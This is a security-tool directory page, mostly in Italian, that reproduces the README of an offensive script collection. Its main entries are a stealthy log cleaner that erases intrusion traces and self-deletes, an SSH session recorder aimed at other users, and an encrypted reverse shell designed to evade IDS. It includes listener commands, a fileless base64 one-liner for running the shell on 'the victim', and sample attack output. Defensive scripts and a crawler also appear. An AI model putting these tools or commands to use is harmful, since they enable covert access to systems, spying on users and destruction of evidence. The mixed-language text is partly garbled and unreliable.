Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
freedomfighting — Una raccolta di script che potrebbero esserti utili durante le tue attività di lotta per la libertà. | Kitploit
Strumenti/GitHubGitHub/justicerage/freedomfighting
RicognizioneStrumenti di Crittografia/DecrittografiaInformatica ForenseRaccolta InformazioniPost-ExploitSicurezza WebPenetration TestingRed TeamingCrawlerStrumento di Accesso RemotoAnalisi dei Log
418683 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
justicerage/freedomfighting

freedomfighting

Una raccolta di script che potrebbero esserti utili durante le tue attività di lotta per la libertà.

Vedi Repository

Freedom Fighting scripts

Questo repository contiene script che potrebbero esserti utili durante le tue attività di lotta per la libertà. Verrà aggiornato occasionalmente, quando mi trovo nella necessità di qualcosa che non trovo online. Tutto qui è distribuito secondo i termini della GPL v3 License.

Contributi e pull request sono molto graditi.

Indice

  • nojail.py, un pulitore di log Python.
  • share.sh, uno script sicuro per la condivisione di file.
  • autojack.py, un logger di terminale.
  • listurl.py, un mappatore di siti.
  • ersh.py, una reverse shell criptata.
  • boot_check.py, uno script per rilevare attacchi evil-maid.
  • notify_hook.py, un modo per attivare allarmi quando alcuni binari vengono chiamati su un sistema.
  • Varie (contatti e donazioni)

nojail.py

Un pulitore di log che rimuove voci incriminanti in:

  • /var/run/utmp, /var/log/wtmp, /var/log/btmp (controlla l'output dei comandi who, w e last)
  • /var/log/lastlog (controlla l'output del comando lastlog)
  • /var/**/*.log (.log.1, .log.2.gz, ecc. inclusi)
  • Qualsiasi ulteriore file o cartella designata dall'utente

Le voci vengono cancellate in base a un indirizzo IP e/o hostname associato.

Viene prestata particolare attenzione per evitare di rompere i descrittori di file mentre si manomettono i log. Ciò significa che i log continuano a essere scritti dopo essere stati manomessi, rendendo la pulizia molto meno evidente. Tutto il lavoro viene eseguito su un'unità tmpfs e tutti i file creati vengono cancellati in modo sicuro.

Avvertenza: Lo script è stato testato solo su Linux e non sarà in grado di pulire le voci UTMP su altre varianti di Unix.

Utilizzo:```

usage: nojail.py [-h] [--user USER] [--ip IP] [--hostname HOSTNAME] [--verbose] [--check] [log_files [log_files ...]]

Stealthy log file cleaner.

positional arguments: log_files Specify any log files to clean in addition to /var/**/*.log.

optional arguments: -h, --help show this help message and exit --user USER, -u USER The username to remove from the connexion logs. --ip IP, -i IP The IP address to remove from the logs. --hostname HOSTNAME The hostname of the user to wipe. Defaults to the rDNS of the IP. --regexp REGEXP, -r REGEXP A regular expression to select log lines to delete (optional)

root@kitploit:~
 --verbose, -v         Print debug messages.
 --check, -c           If present, the user will be asked to confirm each
                       deletion from the logs.
 --daemonize, -d       Start in the background and delete logs when the
                       current session terminates. Implies --self-delete.
 --self-delete, -s     Automatically delete the script after its execution.
root@kitploit:~
Per impostazione predefinita, se non vengono forniti argomenti, lo script tenterà di determinare l'indirizzo IP da epurare basandosi sulla variabile d'ambiente `SSH_CONNECTION`. Qualsiasi voce corrispondente al DNS inverso di quell'IP verrà rimossa.

#### Esempio base:```
./nojail.py --user root --ip 151.80.119.32 /etc/app/logs/access.log --check

...rimuoverà tutte le voci per l'utente root dove l'indirizzo IP è 151.80.119.32 o l'hostname è manalyzer.org. All'utente verrà anche chiesto di confermare prima di eliminare ogni record a causa dell'opzione --check. Infine, il file /etc/app/logs/access.log verrà elaborato oltre a tutti quelli predefiniti.

Se vengono fornite cartelle come argomenti posizionali (ad esempio /etc/app/logs/), lo script le esaminerà ricorsivamente e pulirà qualsiasi file con estensione .log (incluse *.log.1, *.log.2.gz, ecc.).

Espressioni regolari

Potresti anche voler rimuovere righe arbitrarie dal file di log. Per farlo, usa l'opzione --regexp. Ad esempio, la seguente riga di comando cercherà tutte le richieste POST ai file PHP dall'IP specificato:``` ./nojail.py --ip 151.80.119.32 --regexp "POST /.*?.php"

root@kitploit:~
#### Daemonizzare lo script```
./nojail.py --daemonize

Supponendo che ciò venga eseguito da una connessione SSH, questo comando eliminerà tutti i log relativi all'attività dell'utente corrente con l'indirizzo IP e l'hostname rilevati subito dopo la chiusura della connessione. Questo script si eliminerà automaticamente in seguito. Tieni presente che non avrai alcuna possibilità di ricevere messaggi di errore dall'applicazione. Si consiglia di provare a eliminare i log una volta prima di avviare il demone per assicurarsi che gli argomenti specificati siano corretti. Se ti trovi in una shell senza TTY, lo script non sarà in grado di rilevare quando la sessione termina. Verrai avvisato che i log verranno eliminati entro 60 secondi e che dovresti disconnetterti prima di allora (per evitare di creare ulteriori voci dopo l'esecuzione dello script).

Output di esempio:```

root@proxy:~# ./nojail.py [ ] Cleaning logs for root (XXX.XXX.XXX.XXX - domain.com). [] 2 entries removed from /var/run/utmp! [] 4 entries removed from /var/log/wtmp! [ ] No entries to remove from /var/log/btmp. [] Lastlog set to 2017-01-09 17:12:49 from pts/0 at lns-bzn-XXX-XXX-XXX-XXX-XXX.adsl.proxad.net [] 4 lines removed from /var/log/nginx/error.log! [] 11 lines removed from /var/log/nginx/access.log! [] 4 lines removed from /var/log/auth.log!

root@kitploit:~
### Dichiarazione di non responsabilità
Questo script è fornito senza alcuna garanzia.
Non incolpatemi se non cancella tutte le tracce di qualcosa che non avreste dovuto fare in primo luogo.

## share.sh

Uno script portatile e sicuro per la condivisione di file. Mentre si lotta per la libertà, generalmente non è possibile trasferire file tramite scp all'interno di macchine compromesse. Sono necessari metodi alternativi per caricare file, ma la maggior parte dei servizi di condivisione sono troppo restrittivi oppure non forniscono un modo per recuperare facilmente i file dalla riga di comando. Considerazioni di sicurezza possono anche impedire alle persone di caricare file sensibili su provider cloud per timore che ne conservino una copia per sempre.

Questo piccolo script bash portatile si basa su [transfer.sh](https://transfer.sh) per risolvere il problema. Esso...
* Cripta i file prima di caricarli (AES-256-CBC simmetrico).
* Utilizza automaticamente `torify` se presente sul sistema per un maggiore anonimato.

Le uniche dipendenze necessarie sono `openssl` e `curl` o `wget`.

### Utilizzo```
root@proxy:~# ./share.sh ~/file_to_share "My_Secure_Encryption_Key!"
Success! Retrieval command: ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
root@proxy:~# ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
File retrieved successfully!

Argomenti aggiuntivi durante il caricamento ti permettono di controllare il numero massimo di download consentiti per il file (-m) e per quanti giorni transfer.sh lo terrà (-d). Il valore predefinito per entrambe queste opzioni è 1.

Attenzione: Non usare spazi nella chiave di crittografia, altrimenti verrà presa in considerazione solo la prima parola della tua passphrase. Ciò è dovuto al modo in cui getopts gestisce gli argomenti (credo). Le pull request sono benvenute se qualcuno è interessato a risolvere questo problema.

autojack.py

AutoJack è un breve script che sfrutta shelljack di EmptyMonkey per registrare il terminale di qualsiasi utente che si connette tramite SSH. Osserva auth.log per le connessioni riuscite, individua il PID del processo bash dell'utente, e lascia il resto ashelljack.

Launch it in a screen, and wait until other users log-in. Their session will be logged to /root/.local/sj.log.[user].[timestamp].

The script is not particularly stealthy (no attempt is made to hide the shelljack process) but it will get the job done. Note that to avoid self-incrimination, the root user is not targeted (this can be trivially commented out in the code).

listurl.py

ListURL is a multi-threaded website crawler which obtains a list of available pages from the target. This script is useful for bug-bounty hunters trying to establish the attack surface of a web application.

root@kitploit:~
usage: listurl.py [-h] [--max-depth MAX_DEPTH] [--threads THREADS] [--url URL]
                  [--external] [--subdomains] [-c COOKIE]
                  [--exclude-regexp EXCLUDE_REGEXP]
                  [--show-regexp SHOW_REGEXP] [--verbose]

Mappa un sito web raccogliendo ricorsivamente tutti i suoi URL.

argomenti opzionali:
  -h, --help            mostra questo messaggio di aiuto ed esci
  --max-depth MAX_DEPTH, -m MAX_DEPTH
                        La profondità massima di scansione (default è 3).
  --threads THREADS, -t THREADS
                        Il numero di thread da utilizzare (default è 10).
  --url URL, -u URL     La pagina da cui iniziare.
  --external, -e        Segui i link esterni (default è false).
  --subdomains, -d      Includi i sottodomini nell'ambito (default è false).
  -c COOKIE, --cookie COOKIE
                        Aggiunge un cookie alla richiesta. Può essere specificato
                        più volte. Esempio: -c "user=admin".
  --exclude-regexp EXCLUDE_REGEXP, -r EXCLUDE_REGEXP
                        Un'espressione regolare che corrisponde agli URL da ignorare. L'espressione
                        fornita non deve corrispondere all'intero URL, solo a una parte di esso.
  --show-regexp SHOW_REGEXP, -s SHOW_REGEXP
                        Un'espressione regolare che filtra i risultati visualizzati. L'espressione
                        fornita viene cercata all'interno dei risultati, non deve corrispondere
                        all'intero URL. Esempio: \.php$
  --no-certificate-check, -n
                        Disabilita la verifica dei certificati SSL.
  --output-file OUTPUT_FILE, -o OUTPUT_FILE
                        Il file in cui devono essere scritti gli URL ottenuti
  --verbose, -v         Più dettagliato. Può essere specificato più volte.```

Here is the sample output for a small website:

./listurl.py -u https://manalyzer.org [] Iniziata scansione a profondità 1. [] Iniziata scansione a profondità 2.... [] Iniziata scansione a profondità 3. [] URL scoperti: https://manalyzer.org/report/f32d9d9ff788998234fe2b542f61ee2c (GET) https://manalyzer.org/report/eb4d2382c25c887ebc7775d56c417c6a (GET) https://manalyzer.org/report/ca127ebd958b98c55ee4ef277a1d3547 (GET) https://manalyzer.org/upload (POST) https://manalyzer.org/report/dd6762a2897432fdc7406fbd2bc2fe18 (GET) https://manalyzer.org/report/2fba831cab210047c7ec651ebdf63f50 (GET) https://manalyzer.org/report/029284d88f7b8586059ddcc71031c1f1 (GET) https://manalyzer.org/ (GET) https://manalyzer.org/report/83f3c2b72e3b98e2a72ae5fdf92c164e (GET) https://manalyzer.org/report/1bf9277cc045362472d1ba55e4d31dd5 (GET) https://manalyzer.org/report/af09bf587303feb4a9e9088b17631254 (GET) https://manalyzer.org/report/508d8094be65eaae4d481d40aacb2925 (GET) https://manalyzer.org/report/0e8592aa78d6e5a14043ab466601ef9b (GET) https://manalyzer.org/report/b52ddc0dda64f35721d5692e168ad58c (GET) https://manalyzer.org (GET) https://manalyzer.org/bounty (GET) https://manalyzer.org/search (POST)```

Filtering results

The --exclude-regexp and --show-regexp options are used to control which URLs should be shown or ignored. For instance, in the example above, you may want to ignore pages which are likely to be very similar:

root@kitploit:~
./listurl.py -u https://manalyzer.org --exclude-regexp "/report/"
   [*] Started crawling at depth 1.
   [*] Started crawling at depth 2...
   [*] Started crawling at depth 3.
   [*] URLs discovered:
   https://manalyzer.org (GET)
   https://manalyzer.org/bounty (GET)
   https://manalyzer.org/upload (POST)
   https://manalyzer.org/search (POST)
   https://manalyzer.org/ (GET)```

Note that the matching URLs will *not* be crawled. This is particularly useful
when the script gets lost in deep comment pages or repetitive content. Alternately, 
you may only be interested in PHP scripts: ``./listurl.py --show-regexp "\.php$"``.

### Crawl parameters

By default, the crawler only goes 3 levels deep. This is something you can control
with the ``--max-depth`` option.

Another consideration is whether URLs pointing to external domains should be followed.
By default, the script doesn't, but you can enable this by setting the ``--external``
switch. If you're not interested in random external domains but still want to extend
the crawl to subdomains, you can set the ``--subdomains`` switch:

./listurl.py -u https://google.com --subdomains [] Cominciata l'esplorazione a profondità 1. [] Cominciata l'esplorazione a profondità 2.^C Interruzione rilevata! Attendere qualche secondo mentre i thread si fermano... [*] URL scoperte: https://drive.google.com/drive/ (GET) https://google.com/../../policies/privacy/example/phone-number.html (GET) https://play.google.com/store/books/details/Markus_Heitz_Le_Secret_de_l_eau_noire?id=Oh1rDgAAQBAJ (GET) https://play.google.com/store/books/details/Leslie_Kelly_Face_au_d%C3%A9sir?id=mUtyDAAAQBAJ (GET) https://mail.google.com/mail/?tab=Tm (GET) https://google.com/../../policies/privacy/example/your-activity-on-other-sites-and-apps.html (GET) https://google.com/locations/ (GET) [...]```

Notice that if the script takes too long, you can hit CTRL+C anytime to shut it down. You'll then be shown the pages discovered so far.

If you need to access authenticated pages on a website, you can provide cookies to listurl.py from the command line with the --cookie option.

Finally, if you're working on a website which has an invalid or self-signed SSL certificate, use the --no-certificate-check option to ignore SSL errors.

ersh.py

ersh is an encrypted reverse shell written in pure Python. Ever been on a macchina senza utility standard o strumenti di compilazione, e nessun modo semplice per caricare binari? Hai paura che un IDS noti una shell in uscita? Hai chiuso accidentalmente il tuo listener netcat perché hai premuto ^C?
Non soffrire più.ersh offers the following features:

  • SSL-encrypted with both client and server authentication (SSL as in Suck-it Snort Layer).
  • Fully featured TTY.
  • Optionnaly file-less.
  • No dependencies, should run on any machine with Python >= 2.6.

For a more detailed discussion about how this tool came to be, please refer to this blog post.

Usage

This script needs to be edited before it works! Look for this marker near the beginning:

root@kitploit:~
###############################################################################
# MODIFICA I PARAMETRI SOTTO QUESTA RIGA
###############################################################################```

The ```HOST``` and ```PORT``` are self-explanatory, but you may need additional help
for the SSL certificates. Nobody wants to fight against OpenSSL's client however, so
you can just use the following one-liners:

openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout server.key -out server.crt && cat server.key server.crt > server.pem && openssl dhparam 2048 >> server.pem openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout client.key -out client.crt```

That's it! You should now have five new files in your current folder: server.(crt|key|pem) and client.(crt|key). Some of them need to be inserted in the script so the reverse shell and the listener can authenticate each other. Specifically:

  • client_key should contain the contents of client.key.
  • client_crt should contain the contents of client.crt.
  • server_crt should contain the contents of server.crt.

That's it, no more editing required.

Setting up the listener

Considering that a full TLS negociation is going to proceed, a traditional nc listener will not suffice here. socat has been chosen for this task, due to its ability to handle encryption and TTYs. On Debian-based distributions, you should be able to obtain it by simply running sudo apt-get install socat.

Assuming you're still in the folder where you generated the keys and certificates, and you want to listen on port 443, here is the command line you should run on the machine where the reverse shell will arrive:

root@kitploit:~
socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0```

### Running from memory

You don't need to copy the script to the remote machine for it to work. Here is a simple way to run it
from a non-interactive shell. Copy the whole script to your clipboard and run the following commands on
the victim:

python - <<'EOF' [paste script contents here] 'EOF'```

If you're trying to launch ersh.py from an environment which doesn't support multiple lines (such as Weevely), you can also try generating a one-liner like this:

root@kitploit:~
root@attacker:~/freedomfighting# gzip -c ersh.py | base64
H4sICPMsblkAA2UucHkA1Vp5k6O4kv+fT8FUx8RULdU2PsB27asXCxh8Ajbgs2eiHocwmNMcxvjT
r4Rdd0/PvNiZjV0iqgxSKpXK45cpxJef6nma1A03rMdl5kQhdnNzg4EkdWpxiRsl/l/jPM1cEyj6
[...]

weevely> echo "H4sICPMsblkAA2..." | base64 -d | gunzip | python```

### Sample output

On the receiver machine:

root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:tty,raw,echo=0```

On the victim:

root@kitploit:~
root@victim:~# python ersh.py
[*] Connessione stabilita!
root@victim:~#```

And on the receiver again:

root@attacker:/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:tty,raw,echo=0 root@victim:# unset HISTFILE root@victim:~#```

boot_check.py

This script was written to detect evil maid attacks. It does so by checking at boot time if the hard drive was powered on but not the OS (for instance, if it was taken out of the computer for a copy, or if someone tried to boot the machine but was stopped by a FDE password).

Installation:

You need to make sure this script will run at every boot. The following instructions will work on distributions using systemd.

  • Copy boot_check.service to /etc/systemd/system/. Fix paths inside of it as needed. The script will run as root so make sure it is not world writable!
  • #> systemctl enable boot_check.service

Install dependencies:

  • #> apt install smartmontools dialog

Run the script once so it initializes:

  • #> ./boot_check.py

If a confirmation message appears, you're good to go.

Testing

If you want to make sure that the script works, make sure you do the following:

  • Do not just reboot the computer, as the power to the hard drive may not be cut. Turn it off completely.
  • If you don't want to take out your drive and plug it into another machine, you can try interrupting the boot process. This has to happen before the script is executed, but after the drive has been powered on (which means after the BIOS password). A good moment to interrupt the boot process is when the prompt for the FDE password is shown.
  • Then turn on the computer again, and you should see the alert on your screen a few seconds after your computer has booted up.

notify_hook.py

This script was created to provide a simple way to "booby-trap" certain executables on a linux system. The idea is to detect intruders when they use certain binaries (id, whoami, gcc) on a server they don't own.

To protect those binaries, notify_hook.py create symbolic links to this script higher-up in the PATH. notify_hook will then send you an alert and call the intended program in a transparent fashion. For instance, if you want to "protect" id, just create the following symlink on your machine:

root@kitploit:~
ln -s path/to/notify_hook.py /usr/local/bin/id```

...and all future calls to `id` should be routed through this script. This
is obviously not a foolproof way to detect hackers on your systems, but it
should nonetheless catch the most careless intruders.

### Customization

Some programs and scripts on your system may regularly invoke some of the
binaries you wish to protect. In that case, you can edit a variable called 
`CALLER_WHITELIST` placed at the beginning of the script. Put the name of
those processes in the list to disable alerts from them (regular expressions
are accepted).

The current notification method implemented in this script is a text message
sent thtough Signal with AsamK's 
[signal-cli](https://github.com/AsamK/signal-cli). You'll need to install this
project separately if you want to use it, or, more likely, replace the 
`notify_callback` function placed on top of `notify_hook.py` with whatever
suits your needs.

### Contact
[](https://github.com/justicerage/freedomfighting/blob/HEAD/justicerage@manalyzer%5B.%5Dorg)
[](https://twitter.com/JusticeRage)
[](https://pgp.mit.edu/pks/lookup?op=vindex&search=0x40E9F0A8F5EA8754)
Scarica lo strumento